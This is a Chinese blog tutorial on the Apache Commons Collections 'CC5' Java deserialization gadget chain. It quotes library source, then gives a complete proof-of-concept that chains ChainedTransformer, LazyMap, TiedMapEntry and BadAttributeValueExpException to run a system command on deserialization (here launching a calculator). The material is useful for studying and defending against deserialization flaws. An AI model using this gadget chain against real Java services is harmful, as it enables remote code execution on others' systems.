大家好,欢迎来到IT知识分享网。
java反序列化之CC5超详细易懂分析
前言
在你学习这篇文章之前,cc1和cc6已经已经是会的,这样才能更好的来理解这篇文章
TiedMapEntry
我们回想cc6的时候触发lazymap的get方法我们使用的是TiedMapEntry类的hashcode去触发getvalue方法
但是其实触发getvalue的很多
public boolean equals(Object obj) {
if (obj == this) {
return true; } if (obj instanceof Map.Entry == false) {
return false; } Map.Entry other = (Map.Entry) obj; Object value = getValue(); return (key == null ? other.getKey() == null : key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue())); } / * Gets a hashCode compatible with the equals method. * <p> * Implemented per API documentation of {@link java.util.Map.Entry#hashCode()} * * @return a suitable hash code */ public int hashCode() {
Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } / * Gets a string version of the entry. * * @return entry as a string */ public String toString() {
return getKey() + "=" + getValue(); }
可以看到是有三个的,这里我们cc5使用的就是toString()方法去触发
exp:
package CC5; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC5 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, null}), new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc"}) }); HashMap map=new HashMap(); Map lazymap = LazyMap.decorate(map,chain); TiedMapEntry tiedMapEntry =new TiedMapEntry(lazymap,1); tiedMapEntry.getValue(); } public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin"))); out.writeObject(obj); } public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename))); out.readObject(); } }
怎么触发tostring呢?
BadAttributeValueExpException
我们看到这个类
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) {
val = null; } else if (valObj instanceof String) {
val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) {
val = valObj.toString(); } else {
// the serialized object is from a version without JDK- fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
可以发现它不仅实现了我们最希望的readobject方法,还实现了我们的tostring方法
poc
package CC5; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC5 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, null}), new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc"}) }); HashMap map=new HashMap(); Map lazymap = LazyMap.decorate(map,chain); TiedMapEntry tiedMapEntry =new TiedMapEntry(lazymap,1); BadAttributeValueExpException badAttributeValueExpException =new BadAttributeValueExpException(tiedMapEntry); Object o =badAttributeValueExpException; serialize(o); unserialize("1.bin"); } public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin"))); out.writeObject(obj); } public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename))); out.readObject(); } }
也是成功的弹出了计算器
这个还是简单的
总结
免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/150753.html